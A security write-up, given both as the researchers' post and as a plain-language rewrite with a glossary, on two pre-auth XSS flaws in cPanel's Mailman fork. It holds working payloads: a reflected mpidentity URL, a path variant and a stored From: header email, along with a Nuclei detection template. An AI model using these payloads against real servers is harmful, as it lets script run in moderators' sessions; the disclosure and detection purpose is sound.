Two cPanel Zero Day Vulnerabilities
Two cross-site scripting flaws existed in cPanel's bundled Mailman: a reflected XSS via the mpidentity parameter and a stored XSS in the moderation queue's From header. An attacker could run script in a victim's browser, including a logged-in moderator's session.
Published on blog.voorivex.team
cPanel quietly runs an enormous slice of the web. Pick a cheap shared-hosting plan from any provider on the internet and you will almost certainly be logging into cPanel & WHM to manage it: millions of small business sites, mailing lists, and personal domains live behind its CGI scripts.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
cPanel quietly runs an enormous slice of the web. Pick a cheap shared-hosting plan from any provider and you will almost certainly be logging into cPanel & WHM to manage it: millions of small business sites, mailing lists and personal domains live behind its CGI scripts. For a footprint that large, public security research on cPanel is surprisingly thin, which is part of why it caught our attention.
Neither of us had worked on cPanel before, but one day we decided to go after WebPros' flagship product. We did not know their bug-handling procedure beforehand. We had assumed they issued a reasonable bounty alongside a CVE, because we had previously seen Assetnote's blog and had a vague impression in mind. So we started, and within a few days we had several 0-days.
We reported one of them to cPanel, and surprisingly, they offered a $150 bounty and no CVE. We even offered to skip the bounty if they would assign CVEs for the rest of the bugs instead. For an enterprise company of their size, that is disappointing, and it gives the distinct vibe that cPanel is not eager to protect its customers. We will never work on them again; if we could go back, we would not work on them at all. No bounty but a CVE would have been fine. This was neither.
Still, the customers running these servers deserve to know what is sitting on them, and this post is the closest thing to a public advisory the bugs will get.
Today we want to walk through the procedure of uncovering two of those vulnerabilities, so follow the rest of the post for the technical stuff.
Context
cPanel & WHM is huge, so we picked one rule to narrow it down: only look at what is reachable pre-auth on default configurations. Our target was cPanel & WHM [redacted] on AlmaLinux 8.
One path stood out right away: /mailman/. cPanel bundles its own fork of GNU Mailman for mailing lists, cpanel-mailman-[redacted]-1.cp130, the feature is on by default, and it serves a handful of CGI pages with no login required.
That was an easy target for two reasons. It is a fork, so it has drifted away from upstream's security fixes over the years. And it is Mailman 2.x: old Python CGI that builds HTML by gluing strings together, with no autoescaping anywhere. That is exactly where XSS hides.
Setup
The feature is on by default and the Mailman CGI pages are reachable without authentication, so the only precondition was a default cPanel & WHM installation with Mailman enabled, running [redacted] on AlmaLinux 8 with the bundled cpanel-mailman-[redacted]-1.cp130 package.
The list admin address is visible on the admin page, so no account on the list is needed to reach the moderator.
We did not fuzz it. We pulled the cpanel-mailman package off the box and read the code. On the first pass we found two bugs, one reflected and one stored, both pre-auth.
Finding it
The starting observation was structural. cPanel does not ship stock Mailman; it bolts its own things on top of it. One of those things is a Mixpanel analytics module, MixpanelAnalytics.py, that injects a tracking snippet into the page footer. The footer include lives at htmlformat.py:687, and it runs on basically every standard Mailman template, so that analytics block is everywhere.
That matters because the module reads a parameter called mpidentity straight from the query string:
def existingIdentity():
qs = os.environ.get('QUERY_STRING')
parsed = urllib.parse.parse_qs(qs)
if parsed:
identity = parsed.get('mpidentity')
if identity:
return identity
return None
parse_qs URL-decodes the value, so whatever we put in the URL comes back as a clean string. That string goes straight into a dictionary:
pageData['identity'] = existingIdentity() # attacker-controlled
And the whole pageData dictionary is serialised and dropped inside an inline <script> block:
<script type="text/javascript">
...
(function() {
var pageData = ''' + json.dumps(pageData) + ''';
A parameter gets reflected inside an inline <script> block, serialised through json.dumps(). json.dumps() escapes the double quotes, so you cannot break out of the JSON string the obvious way. But it does not escape the forward slash, so a </script> walks straight out of the script context and into fresh HTML. That is the whole bug.
The second bug was in the moderation code. When someone creates a mailing list, their email becomes the list admin, shown at /mailman/admin. Posts from non-members do not go out right away; they wait in that admin's moderation queue for approval. The moderator reviews that queue in admindb.py, and the function show_post_requests() builds the detail view for a single held message, rendering every header of that message back onto the page. Look at how careful it is:
hdrtxt = NL.join(['%s: %s' % (k, v) for k, v in list(msg.items())])
hdrtxt = Utils.websafe(hdrtxt) # headers: escaped
t = Table(cellspacing=0, cellpadding=0, width='100%')
t.AddRow([Bold(_('From:')), sender]) # <-- NOT escaped
t.AddRow([Bold(_('Subject:')),
Utils.websafe(Utils.oneline(subject, lcset))]) # subject: escaped
Utils.websafe() is Mailman's HTML escaper. The header blob is escaped. The subject is escaped. And then, right in the middle, the From: field, sender, goes onto the page raw. Every other place in this same file that renders sender escapes it properly; line 779 is the only one that forgot.
Exploitation
Step 1: reflected XSS through mpidentity
The first bug is the kind you almost feel bad about, because it is too easy. One query parameter, no authentication, and it fires on every single Mailman page, including the admin login page. This URL pops an alert:
http://target.tld/mailman/listinfo?mpidentity=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
parse_qs decodes it, existingIdentity() returns it, and it is stored in pageData['identity']. When json.dumps() serializes the dictionary, the double quotes are escaped but the </script> is not, so the browser closes the script block and runs the <svg onload> handler. The response comes back with the script context already broken open:
<script type="text/javascript">
...
var pageData = {"allowConsentGathering": true, "isDevEnvironment": false,
"identity": ["</script><svg/onload=alert(document.domain)>"]
"path": {"isAdmin": false, "section": "N/A"}};
Step 2: the same sink through the URL path
While we were there we found a second way into the same json.dumps() call. cleansedPathInfo() builds pageData['path']['section'] from the request URI with a regex, so if you put the payload in the URL path instead of the query string, it still lands unescaped in the same serialised JSON:
"section": "</script><img src=x onerror=alert(document.domain)>"
Same sink, different source.
Step 3: stored XSS in the moderation queue
The way in is simple: grab the admin address from /mailman/admin, email the list, and your message lands in their queue. No account, no subscription, nothing. sender is just the From: header of the queued email; parsed by Python's email library, pickled into requests.db when the message was held, and fully attacker-controlled, since From: is just a field you set. Put HTML in it and it renders raw:
From: "<script>alert(document.cookie)</script>"@attacker.com
To: testxss@localhost
Subject: Innocent looking subject
Date: Sat, 05 Apr 2026 12:00:00 +0000
Hello, please approve this message.
There is no clever delivery here; it is just an email. You send this message to the list address over plain SMTP, the same way any mail reaches the list. Because it comes from a non-member it drops into the moderation queue, and even if the list's spam filtering flags it, a flagged message is still shown to the moderator for review. That review page is where it fires, the moment the moderator opens the held message:
GET /mailman/admindb/testxss?msgid=6 HTTP/1.1
Host: target.tld
The response hands their browser this:
<td>"<script>alert(document.cookie)</script>"@attacker.com</td>
and the script runs in the moderator's authenticated session.
Root cause
Both bugs come from the same simple mistake: untrusted input handed to code that was not meant to handle it.
For the reflected bug, json.dumps() escaped the quotes but let </script> through, because it is a serializer, not an HTML escaper. The mpidentity value and the section value derived from the request URI both reach the same inline script block without HTML-context encoding. The fork has drifted from upstream's security fixes, and Mailman 2.x CGI code has no autoescaping.
For the stored bug, one line just forgot to call the escaper that every line around it remembered. Utils.websafe() is applied to the header blob and to the subject, but not to sender on line 779 of admindb.py. The value is attacker-controlled from the From: header and is rendered raw into the moderator's page.
There was nothing clever here. We did not fuzz anything; we read the source, and the bugs were already sitting there in a fork that ships to a lot of servers. These two probably are not the only ones; they are just the ones we stopped to write down.
Impact
For the reflected bug, the obvious impact is hijacking the Mailman admin's session. But the more interesting point is that this is reflected XSS running on the host's main web ports 80 and 443, not some isolated admin panel. That means it can be chained against the main website's functionality, not just Mailman: anything served from the same origin is in scope for whatever the payload decides to do.
For the stored bug, the admin session cookie is set HttpOnly, so the naive "steal the cookie" path does not work here; script cannot read it. The real impact is that the payload runs inside the moderator's authenticated session, so it can act with the moderator's privileges while they are logged in.
Fix
What it does describe is a detection approach for Bug 1, turned into a Nuclei template and shipped as a PR against the public repo: projectdiscovery/nuclei-templates#16233.
id: cpanel-mailman-xss
info:
name: cPanel Mailman - Reflected Cross-Site Scripting
author: yshahinzadeh,amirmsafari
severity: high
description: |
cPanel Mailman listinfo reflects the `mpidentity` query parameter into the HTML response without proper output encoding, resulting in reflected cross-site scripting. A WAF bypass may be required depending on the deployment.
classification:
cwe-id: CWE-79
tags: cpanel,mailman,xss
http:
- method: GET
path:
- "{{BaseURL}}/mailman/listinfo?mpidentity=randomtest"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "randomtest"
- "mailman"
- "gnu-head-tiny"
condition: and
- type: status
status:
- 200
A note on the probe. The template fires on a plain randomtest, not on a real payload. That is deliberate. Most cPanel Mailman deployments in the wild sit behind a WAF or CDN, and a probe containing HTML-breaking characters gets stripped or 403'd before it ever reaches Mailman, which means a payload-based template would fire on almost nothing, including the hosts that are actually exploitable. A harmless sentinel that simply confirms mpidentity is reflected, plus the Mailman fingerprints (gnu-head-tiny, mailman), is enough to identify an affected host without throwing an exploit at it.
We ran this template across many bug bounty programs whose targets run cPanel and Mailman. The bounties we collected from those programs dwarfed the $150 cPanel paid us for the same bug. Many times over.
- Other parameters feeding the same inline script. The Mixpanel module reads
mpidentityfrom the query string, but any other value that ends up inpageDatabeforejson.dumps()is worth checking. A positive result is a response where your input appears inside the inline<script>block with</script>intact. - Path-derived values.
cleansedPathInfo()buildspageData['path']['section']from the request URI. Try payloads in the URL path rather than the query string; a positive result is the same unescaped</script>appearing in the serialised JSON undersection. - Other Mailman pages. The footer include at
htmlformat.py:687runs on basically every standard Mailman template, so test the samempidentityreflection on other Mailman CGI pages, including the admin login page. A positive result is the sentinel value reflected in the page body with the Mailman fingerprints present. - Other unescaped fields in
admindb.py. The stored bug is one missingUtils.websafe()call onsender. Look for other places in the same file that render message-derived values without the escaper. A positive result is HTML from a craftedFrom:header rendering raw in the moderation view. - Other headers in the held message. The detail view renders every header of the held message. Try HTML in headers other than
From:and see which ones come back unescaped. A positive result is a<script>or event handler from a header appearing in the response HTML. - WAF behaviour. Most deployments sit behind a WAF or CDN. Test whether a plain sentinel is reflected and whether HTML-breaking characters are stripped or blocked; a positive result is the sentinel reflected while the payload is filtered, which tells you a bypass is needed before the bug is reachable.
What happened, in plain words
Two security researchers, Yashar Shahinzadeh and Amirmohammad Safari, decided to look at cPanel & WHM, a piece of software that runs a very large part of the web. If you have ever bought a cheap shared-hosting plan, the control panel you log into to manage your website, email and mailing lists is very likely cPanel. Millions of small business sites, mailing lists and personal domains sit behind it.
Despite that size, there is not much public security research on cPanel. The two researchers had never worked on it before, but they picked it as a target. They assumed the company behind it, WebPros, would handle bug reports in a reasonable way, with a reward (a "bounty") and a public identifier for each bug (a "CVE"). Within a few days they had found several previously unknown bugs, called 0-days.
They reported one of them. cPanel offered a $150 bounty and no CVE. The researchers even offered to give up the money if cPanel would assign CVEs for the remaining bugs instead. The researchers were disappointed and said they would not work on cPanel again.
This post is their way of telling cPanel's customers what is sitting on their servers. It walks through two of the bugs they found, step by step. Both are a type of bug called cross-site scripting, or XSS, and both are reachable pre-auth.
Background: what cPanel and Mailman are
cPanel & WHM is a web hosting control panel. A hosting company installs it on a server, and each customer gets a login where they can create websites, email addresses and mailing lists. Under the surface, cPanel runs a set of small programs that the web server calls when a browser asks for a particular page. These are called CGI scripts: programs that run on the server and produce a web page on the fly.
One of the features cPanel includes is mailing lists, powered by a program called GNU Mailman. Mailman is free software that manages email discussion lists: people subscribe, send mail to one address, and Mailman forwards it to everyone. Mailman also has web pages, for example a page where you sign up to a list, and an admin area where the list owner approves or rejects messages.
cPanel does not use Mailman exactly as its authors publish it. It uses its own modified copy, called a fork. A fork starts from the original project and then changes independently. The practical consequence, which matters a lot here, is that when the original project fixes a security problem, the fork does not automatically get that fix. Over the years a fork can drift away from the safety work done upstream.
The version in question is Mailman 2.x, which is old code written in the Python programming language. It builds its web pages by joining pieces of text together, a bit like assembling a letter by gluing sentences onto a sheet of paper. It has no automatic escaping. Escaping means converting characters that have a special meaning in a web page into harmless text, so that they are displayed rather than interpreted. Without escaping, anything a visitor types can end up being treated as part of the page itself. That is exactly where XSS lives.
The plan: only look at what needs no login
cPanel is enormous, so the researchers set themselves one rule to narrow the search: only look at things that can be reached before logging in, on a default installation. In security language, "pre-auth" means before authentication, that is, without any username or password.
Their target was cPanel & WHM [redacted] running on AlmaLinux 8, a version of the Linux operating system.
One address stood out immediately: /mailman/. cPanel bundles its own fork of Mailman, package cpanel-mailman-[redacted]-1.cp130. The feature is switched on by default, and it serves a handful of CGI pages that anyone can open without logging in.
That made it an easy target for two reasons. First, because it is a fork, it has drifted away from the security fixes made in the original project over the years. Second, because it is Mailman 2.x, old Python CGI code that glues strings together with no autoescaping anywhere.
The only precondition was a default cPanel installation with Mailman enabled, in that version, on that operating system. The list admin's email address is visible on the admin page, so you do not need an account on the list to reach the moderator.
The researchers did not fuzz. Fuzzing means throwing large amounts of random or semi-random input at a program and watching for crashes or odd behaviour. Instead they downloaded the cpanel-mailman package from the server and read the source code, the human-written instructions that make up the program. On the first pass they found two bugs, one reflected and one stored, both reachable without logging in.
Finding the first bug: a tracking script in the footer
The starting point was a structural observation. cPanel does not ship stock Mailman; it bolts its own additions on top. One of those additions is a Mixpanel analytics module, a file called MixpanelAnalytics.py, which inserts a tracking snippet into the footer of the page. Mixpanel is a service that website owners use to measure how visitors use their site. The footer include lives at htmlformat.py:687, and it runs on basically every standard Mailman template, so that analytics block appears everywhere.
That matters because the module reads a value called mpidentity straight from the query string. The query string is the part of a web address after the question mark, used to pass small pieces of information to a page. Here is the code that reads it:
def existingIdentity():
qs = os.environ.get('QUERY_STRING')
parsed = urllib.parse.parse_qs(qs)
if parsed:
identity = parsed.get('mpidentity')
if identity:
return identity
return None
Line by line:
def existingIdentity():starts the definition of a function, a named block of code that can be called later. Its name suggests its purpose: find out whether an identity was supplied.qs = os.environ.get('QUERY_STRING')asks the operating system for the environment variableQUERY_STRING. Environment variables are named values the web server hands to a CGI program when it runs it; this one holds everything after the?in the address the visitor requested. The result is stored in a variable calledqs.parsed = urllib.parse.parse_qs(qs)passes that raw text to a standard Python function that splits it into a dictionary, a structure that maps names to values, like a phone book.parse_qsalso decodes URL encoding, the scheme where special characters are written as%followed by two hexadecimal digits so they can travel safely in an address.if parsed:checks whether the dictionary has anything in it at all.identity = parsed.get('mpidentity')looks up the entry namedmpidentityin that dictionary and stores its value.if identity:checks that a value was actually found.return identityhands the value back to whoever called the function.return Noneis the fallback: if there was no query string or nompidentity, the function returns nothing.
The important detail is that parse_qs URL-decodes the value, so whatever was written in the address comes back as a clean string. That string then goes straight into a dictionary:
pageData['identity'] = existingIdentity() # attacker-controlled
This line stores the result of the function under the key identity inside a larger dictionary called pageData. The comment on the right, # attacker-controlled, is the researchers' own note: the value comes from whoever sent the request, so an attacker decides what it contains.
The whole pageData dictionary is then converted to text and dropped inside an inline <script> block, a piece of JavaScript embedded directly in the page:
<script type="text/javascript">
...
(function() {
var pageData = ''' + json.dumps(pageData) + ''';
Line by line:
<script type="text/javascript">opens a script block in the HTML page. Everything until the matching closing tag is treated as JavaScript code by the browser, not as visible text....stands for other code in between, left out here.(function() {begins an anonymous function, a block of JavaScript that runs immediately.var pageData = ''' + json.dumps(pageData) + ''';is Python code that builds the page. It writes the textvar pageData =, then the result ofjson.dumps(pageData), then a semicolon.json.dumpsis a standard Python function that turns a dictionary into a JSON string, a text format for structured data that JavaScript can read. The triple quotes around the pieces are Python's way of writing literal text that is being concatenated, joined end to end.
Now the key insight. json.dumps() escapes double quotes, so you cannot simply close the JSON string the obvious way. But it does not escape the forward slash. That means the sequence </script> passes through untouched. And </script> is exactly what the browser looks for to decide that the script block has ended. So the attacker's text walks straight out of the script context and into fresh HTML, where it is interpreted as markup. That is the whole bug.
Exploiting the first bug: a link that runs code
The first bug is the kind you almost feel bad about, because it is too easy. One query parameter, no authentication, and it fires on every single Mailman page, including the admin login page. This address pops an alert box in the browser:
http://target.tld/mailman/listinfo?mpidentity=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
Let us take it apart. http://target.tld is a placeholder for the server's address; .tld means "top-level domain", the ending such as .com. /mailman/listinfo is the Mailman page that lists information about a mailing list, including the form for subscribing. The ? starts the query string. mpidentity= is the parameter name the analytics module reads. The value after the equals sign is URL-encoded: %3C is <, %3E is >, and / is written as-is. Decoded, the value is:
</script><svg/onload=alert(document.domain)>
That is two pieces. </script> closes the script block early. <svg/onload=...> starts an SVG image element, and onload is an event attribute: the browser runs the code inside it as soon as the element has loaded. The code is alert(document.domain), which shows a pop-up box containing the domain of the current page. document.domain is a JavaScript property that holds the site's domain name. Seeing that box proves that the attacker's JavaScript ran on the site's own origin, meaning it ran with the site's identity and permissions.
So the chain is: parse_qs decodes the value, existingIdentity() returns it, and it is stored in pageData['identity']. When json.dumps() serialises the dictionary, the double quotes are escaped but the </script> is not, so the browser closes the script block and runs the <svg onload> handler. The response comes back with the script context already broken open:
<script type="text/javascript">
...
var pageData = {"allowConsentGathering": true, "isDevEnvironment": false,
"identity": ["</script><svg/onload=alert(document.domain)>"]
"path": {"isAdmin": false, "section": "N/A"}};
Line by line:
<script type="text/javascript">opens the script block as normal....stands for the rest of the page's script code.var pageData = {begins the JSON object, a set of name and value pairs inside curly braces."allowConsentGathering": true, "isDevEnvironment": false,are ordinary settings the page includes."identity": ["</script><svg/onload=alert(document.domain)>"]is the attacker's value, sitting inside a JSON list. The</script>inside it is what the browser reacts to: it ends the script block right there."path": {"isAdmin": false, "section": "N/A"}};is the rest of the object, which the browser now treats as ordinary page content rather than code.
After the browser closes the script block at the attacker's </script>, the <svg onload=...> that follows is parsed as HTML, and its onload code runs.
A second way in: the same place, reached through the address path
While reading the code, the researchers found a second route into the same json.dumps() call. A function called cleansedPathInfo() builds pageData['path']['section'] from the request URI, the part of the address before the ?, using a regular expression, a pattern used to match and extract text. So if you put the payload in the address path instead of the query string, it still lands unescaped in the same serialised JSON:
"section": "</script><img src=x onerror=alert(document.domain)>"
Line by line:
"section":is the name of the field insidepageDatathat this second route fills."</script>closes the script block, exactly as before.<img src=x onerror=alert(document.domain)>is an image tag.src=xpoints at an image that does not exist, so loading it fails, andonerroris an event attribute that runs when loading fails. The code inside it is the same alert.- The closing
"is just the end of the JSON string.
Same sink, different source. A "sink" is the place in the code where data finally ends up, here the inline script block. The "source" is where the data comes from, here the address path rather than the query string.
Finding the second bug: the moderation queue
The second bug is a stored one. "Stored" means the malicious content is saved on the server first and shown to someone later, rather than being reflected straight back to the person who sent it. It is almost funny how small the mistake is: a single missing function call.
First, some background on how a mailing list works. When someone creates a mailing list, their email address becomes the list admin, shown at /mailman/admin. Posts from non-members do not go out to the list right away; they wait in that admin's moderation queue for approval. The moderator reviews that queue in a file called admindb.py. The function show_post_requests() builds the detail view for a single held message, and it renders every header of that message back onto the page. An email header is a line at the top of an email, such as From:, To: or Subject:, that describes the message.
Look at how careful the code is:
hdrtxt = NL.join(['%s: %s' % (k, v) for k, v in list(msg.items())])
hdrtxt = Utils.websafe(hdrtxt) # headers: escaped
t = Table(cellspacing=0, cellpadding=0, width='100%')
t.AddRow([Bold(_('From:')), sender]) # <-- NOT escaped
t.AddRow([Bold(_('Subject:')),
Utils.websafe(Utils.oneline(subject, lcset))]) # subject: escaped
Line by line:
hdrtxt = NL.join(['%s: %s' % (k, v) for k, v in list(msg.items())])builds one big block of text containing all the message headers. The part in square brackets is a list comprehension, a compact way of producing a list: for each key and value pair in the message, it formats them asname: value.NL.jointhen glues all those lines together with newlines.hdrtxt = Utils.websafe(hdrtxt)passes that block throughUtils.websafe(), Mailman's HTML escaper, which turns dangerous characters into harmless text. The comment confirms it: headers are escaped.t = Table(cellspacing=0, cellpadding=0, width='100%')creates a table for the page layout, with no spacing between cells and full width.t.AddRow([Bold(_('From:')), sender])adds a row to the table. The first cell is the labelFrom:in bold. The second cell is the variablesender, placed on the page raw. The comment marks the problem: NOT escaped.t.AddRow([Bold(_('Subject:')),starts another row, with the labelSubject:in bold.Utils.websafe(Utils.oneline(subject, lcset))])fills the second cell with the subject, first reduced to a single line and then passed through the escaper. The comment confirms it: subject is escaped.
So the header block is escaped, the subject is escaped, and right in the middle the From: field, held in the variable sender, goes onto the page raw. Every other place in this same file that renders sender escapes it properly; line 779 is the only one that forgot.
And sender is just the From: header of the queued email. It is parsed by Python's email library, pickled into requests.db when the message was held, and fully controlled by the attacker, because From: is just a field you set. Pickling is Python's way of saving an object to a file so it can be loaded again later; requests.db is the file where held messages are kept. Put HTML in the From: field and it renders raw:
From: "<script>alert(document.cookie)</script>"@attacker.com
To: testxss@localhost
Subject: Innocent looking subject
Date: Sat, 05 Apr 2026 12:00:00 +0000
Hello, please approve this message.
Line by line:
From: "<script>alert(document.cookie)</script>"@attacker.comis the sender line. The part inside the double quotes is a script tag that shows an alert containingdocument.cookie. A cookie is a small piece of data a website asks the browser to store and send back with every request; it is often used to remember that you are logged in. The@attacker.commakes the whole thing look like an email address, which is why the quotes are there.To: testxss@localhostis the address of the mailing list the message is sent to.localhostmeans the same machine.Subject: Innocent looking subjectis an ordinary subject line, chosen to look harmless.Date: Sat, 05 Apr 2026 12:00:00 +0000is the date and time, with+0000meaning the UTC time zone.- The blank line separates the headers from the body.
Hello, please approve this message.is the body text.
There is no clever delivery here; it is just an email. You send this message to the list address over plain SMTP, the standard protocol for sending email, the same way any mail reaches the list. Because it comes from a non-member it drops into the moderation queue, and even if the list's spam filtering flags it, a flagged message is still shown to the moderator for review. That review page is where it fires, the moment the moderator opens the held message:
GET /mailman/admindb/testxss?msgid=6 HTTP/1.1
Host: target.tld
Line by line:
GET /mailman/admindb/testxss?msgid=6 HTTP/1.1is the first line of an HTTP request, the message a browser sends to a web server.GETis the method, meaning "give me this page"./mailman/admindb/testxssis the moderation page for the list calledtestxss.?msgid=6is the query string identifying which held message to show, here number 6.HTTP/1.1is the version of the protocol being used.Host: target.tldis a header telling the server which site is being requested, needed because one server can host many sites.
The response hands the moderator's browser this:
<td>"<script>alert(document.cookie)</script>"@attacker.com</td>
Line by line:
<td>opens a table cell, the box in the table where the sender is displayed."<script>alert(document.cookie)</script>"@attacker.comis the attacker'sFrom:value, placed there raw. The browser sees the<script>tag and runs the code inside it.</td>closes the cell.
And the script runs in the moderator's authenticated session. A session is the period during which the server treats your browser as a logged-in user, usually by recognising a cookie. Because the code runs inside that session, it acts as the moderator.
Why the bugs exist
Both bugs come from the same simple mistake: untrusted input handed to code that was not meant to handle it.
For the reflected bug, json.dumps() escaped the quotes but let </script> through, because it is a serialiser, not an HTML escaper. A serialiser turns data into text; an HTML escaper makes text safe to place in a web page. The mpidentity value and the section value derived from the request URI both reach the same inline script block without HTML-context encoding. The fork's age and the absence of autoescaping in Mailman 2.x CGI code mean nothing upstream or in the framework catches this.
For the stored bug, one line forgot to call the escaper that every line around it remembered. Utils.websafe() is applied to the header block and to the subject, but not to sender on line 779 of admindb.py. The value is controlled by the attacker through the From: header and is rendered raw into the moderator's page.
There was nothing clever here. The researchers did not fuzz anything; they read the source, and the bugs were already sitting there in a fork that ships to a lot of servers. These two probably are not the only ones; they are just the ones they stopped to write down.
What an attacker could do with them
For the reflected bug, the obvious impact is hijacking the Mailman admin's session. Hijacking means taking over the logged-in session so that the attacker's code can do what the admin could do. But the more interesting point is that this is reflected XSS running on the host's main web ports 80 and 443, the standard ports for ordinary web traffic, not some isolated admin panel. That means it can be chained against the main website's functionality, not just Mailman: anything served from the same origin is in scope for whatever the payload decides to do. An origin is the combination of scheme, host and port that a browser uses to decide what a page is allowed to touch; pages from the same origin can read and change each other.
For the stored bug, the admin session cookie is set HttpOnly. That is a flag on a cookie that tells the browser to keep it away from JavaScript, so the naive "steal the cookie" path does not work here; script cannot read it. The real impact is that the payload runs inside the moderator's authenticated session, so it can act with the moderator's privileges while they are logged in.
How to check whether a server is affected
What it does describe is a detection approach for the first bug, turned into a Nuclei template and shipped as a pull request against the public repository: projectdiscovery/nuclei-templates#16233.
Nuclei is a free tool that sends predefined requests to a list of servers and reports which ones match a pattern. A template is one of those predefined checks, written in a simple text format. A pull request is a proposed change to a shared code repository, which the maintainers review before accepting.
id: cpanel-mailman-xss
info:
name: cPanel Mailman - Reflected Cross-Site Scripting
author: yshahinzadeh,amirmsafari
severity: high
description: |
cPanel Mailman listinfo reflects the `mpidentity` query parameter into the HTML response without proper output encoding, resulting in reflected cross-site scripting. A WAF bypass may be required depending on the deployment.
classification:
cwe-id: CWE-79
tags: cpanel,mailman,xss
http:
- method: GET
path:
- "{{BaseURL}}/mailman/listinfo?mpidentity=randomtest"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "randomtest"
- "mailman"
- "gnu-head-tiny"
condition: and
- type: status
status:
- 200
Line by line:
id: cpanel-mailman-xssis the template's unique name.info:starts the descriptive section.name: cPanel Mailman - Reflected Cross-Site Scriptingis a human-readable title.author: yshahinzadeh,amirmsafarilists the authors.severity: highis the template's own severity rating.description: |begins a multi-line description; the|means the following indented lines are one block of text.- The description explains that the
listinfopage reflects thempidentityparameter into the HTML response without proper output encoding, causing reflected cross-site scripting, and notes that a WAF bypass may be needed depending on the deployment. A WAF, web application firewall, is a filter placed in front of a website that inspects requests and blocks suspicious ones. classification:groups standard identifiers.cwe-id: CWE-79names the weakness class. CWE is a public catalogue of software weakness types, and CWE-79 is its entry for cross-site scripting.tags: cpanel,mailman,xssare labels used to find and group templates.http:starts the section describing the requests to send.- method: GETsays to use the GET method, the ordinary "give me this page" request.path:lists the addresses to request."{{BaseURL}}/mailman/listinfo?mpidentity=randomtest"is the address, where{{BaseURL}}is a placeholder the tool fills in with each target server, followed by the Mailman page and a harmless test value.matchers-condition: andsays every matcher below must succeed for the template to report a hit.matchers:starts the list of conditions.- type: wordbegins a matcher that looks for specific words.part: bodysays to look in the response body, the page content.words:lists the words to find."randomtest"is the test value, which must come back in the page."mailman"is a fingerprint, a sign that the page is Mailman."gnu-head-tiny"is another fingerprint, a piece of text typical of Mailman pages.condition: andsays all three words must be present.- type: statusbegins a matcher on the HTTP status code, the number a server returns to say how the request went.status:lists the accepted codes.- 200means the request must have succeeded normally.
A note on the probe. The template fires on a plain randomtest, not on a real payload. That is deliberate. Most cPanel Mailman deployments in the wild sit behind a WAF or CDN, and a probe containing HTML-breaking characters gets stripped or answered with a 403 before it ever reaches Mailman, which means a payload-based template would fire on almost nothing, including the hosts that are actually exploitable. A CDN, content delivery network, is a service that sits in front of a site to speed it up and filter traffic. A 403 is the status code for "forbidden". A harmless sentinel that simply confirms mpidentity is reflected, plus the Mailman fingerprints (gnu-head-tiny, mailman), is enough to identify an affected host without throwing an exploit at it. A sentinel here means a marker value whose only job is to be recognised when it comes back.
The researchers ran this template across many bug bounty programs whose targets run cPanel and Mailman. A bug bounty program is a scheme where an organisation pays people for reporting security bugs in its systems. The bounties they collected from those programs dwarfed the $150 cPanel paid them for the same bug. Many times over.
- Other parameters feeding the same inline script. The Mixpanel module reads
mpidentityfrom the query string, but any other value that ends up inpageDatabeforejson.dumps()is worth checking. A positive result is a response where your input appears inside the inline<script>block with</script>intact. - Path-derived values.
cleansedPathInfo()buildspageData['path']['section']from the request URI. Try payloads in the address path rather than the query string; a positive result is the same unescaped</script>appearing in the serialised JSON undersection. - Other Mailman pages. The footer include at
htmlformat.py:687runs on basically every standard Mailman template, so test the samempidentityreflection on other Mailman CGI pages, including the admin login page. A positive result is the sentinel value reflected in the page body with the Mailman fingerprints present. - Other unescaped fields in
admindb.py. The stored bug is one missingUtils.websafe()call onsender. Look for other places in the same file that render message-derived values without the escaper. A positive result is HTML from a craftedFrom:header rendering raw in the moderation view. - Other headers in the held message. The detail view renders every header of the held message. Try HTML in headers other than
From:and see which ones come back unescaped. A positive result is a<script>or event handler from a header appearing in the response HTML. - WAF behaviour. Most deployments sit behind a WAF or CDN. Test whether a plain sentinel is reflected and whether HTML-breaking characters are stripped or blocked; a positive result is the sentinel reflected while the payload is filtered, which tells you a bypass is needed before the bug is reachable.
Glossary
- 0-day: a security bug that was not previously known to the software's maker, so no fix exists yet at the time it is found.
- Authentication: proving who you are, usually by logging in with a username and password.
- Pre-auth: reachable before logging in, without any credentials.
- Bounty: a reward, usually money, paid for reporting a security bug.
- CVE: a public identifier assigned to a known security vulnerability so people can refer to it unambiguously.
- cPanel & WHM: a web hosting control panel used by hosting companies and their customers to manage websites, email and mailing lists.
- CGI script: a program that runs on a web server and produces a web page when a browser requests it.
- GNU Mailman: free software for running email discussion lists, with web pages for subscribing and for administration.
- Fork: a copy of a software project that is developed separately from the original, so it does not automatically receive the original's later fixes.
- Python: a popular programming language, used here to write the Mailman web pages.
- Escaping: converting characters that have a special meaning in a web page into harmless text so they are displayed rather than interpreted.
- Autoescaping: a framework feature that escapes output automatically, without the programmer having to remember.
- XSS (cross-site scripting): a bug where an attacker gets their own code to run inside another website's page, in a victim's browser.
- Reflected XSS: the malicious input is sent in a request and immediately echoed back in the response.
- Stored XSS: the malicious input is saved on the server and shown later to someone else.
- Fuzzing: sending large amounts of random or semi-random input to a program to see whether it misbehaves.
- Source code: the human-written instructions that make up a program.
- Query string: the part of a web address after the
?, used to pass small values to a page. - URL encoding: writing special characters as
%followed by two hexadecimal digits so they can travel safely in an address. - Parameter: a named value passed to a page, such as
mpidentityin a query string. - Dictionary: a data structure that maps names to values, like a phone book.
- Variable: a named place in a program that holds a value.
- Function: a named block of code that can be called to do a job and return a result.
- Environment variable: a named value the server hands to a program when it runs it.
- JSON: a text format for structured data that JavaScript can read.
json.dumps(): a Python function that turns a data structure into a JSON string; it escapes quotes but not forward slashes.- Inline script: JavaScript written directly inside an HTML page between
<script>and</script>tags. - HTML: the language web pages are written in, made of tags such as
<script>and<img>. - Sink: the place in code where data finally ends up, such as an inline script block.
- Source: where data comes from, such as a query string or the address path.
- Request URI: the part of a web address before the
?, identifying the page being requested. - Regular expression: a pattern used to match and extract text.
- Event attribute: an HTML attribute such as
onloadoronerrorwhose value is code the browser runs when that event happens. document.domain: a JavaScript property holding the domain name of the current page.- Origin: the combination of scheme, host and port that a browser uses to decide which pages may interact with each other.
- Session: the period during which a server treats your browser as a logged-in user.
- Cookie: a small piece of data a website asks the browser to store and send back with each request, often used to remember a login.
HttpOnly: a cookie flag that stops JavaScript from reading the cookie.- Hijacking a session: taking over someone's logged-in session so your code can act as them.
- Email header: a line at the top of an email, such as
